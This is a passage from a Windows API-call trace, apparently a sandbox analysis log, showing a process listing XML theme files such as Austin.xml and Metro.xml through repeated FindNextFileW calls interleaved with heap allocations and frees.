ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1 [0072.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e7a8 [0072.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa7cc60 [0072.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.409] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="")) returned 1 [0072.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e7c8 [0072.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa7cd68 [0072.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.410] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1 [0072.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e7e8 [0072.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa7ce70 [0072.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.410] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1 [0072.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e808 [0072.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa7cf78 [0072.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.411] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="")) returned 1 [0072.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e828 [0072.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa7d080 [0072.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.411] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="")) returned 1 [0072.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e848 [0072.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa7d188 [0072.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.412] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13f36100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13f36100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1 [0072.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e868 [0072.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa7d290 [0072.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.412] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe48, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="")) returned 1 [0072.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e888 [0072.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa7d398 [0072.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.413] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xef5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1 [0072.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e8a8 [0072.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa7d4a0 [0072.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.413] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="")) returned 1 [0072.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e8c8 [0072.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa7d5a8 [0072.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.414] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="")) returned 1 [0072.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e8e8 [0072.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa80490 [0072.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2d00) returned 0xa88478 [0072.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa7d7b0) returned 1 [0072.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.415] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1 [0072.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e908 [0072.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa80598 [0072.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.415] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1 [0072.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e928 [0072.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa806a0 [0072.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.416] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1 [0072.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e948 [0072.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa807a8 [0072.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.416] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xf09, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="")) returned 1 [0072.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e968 [0072.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa808b0 [0072.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.417] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1 [0072.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62af0 [0072.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa809b8 [0072.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.417] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0072.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62b10 [0072.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa80ac0 [0072.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.417] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1 [0072.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62b30 [0072.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa80bc8 [0072.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.418] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe05, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1 [0072.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62b50 [0072.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa80cd0 [0072.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.418] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe39, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="")) returned 1 [0072.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62b70 [0072.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa80dd8 [0072.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.419] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, 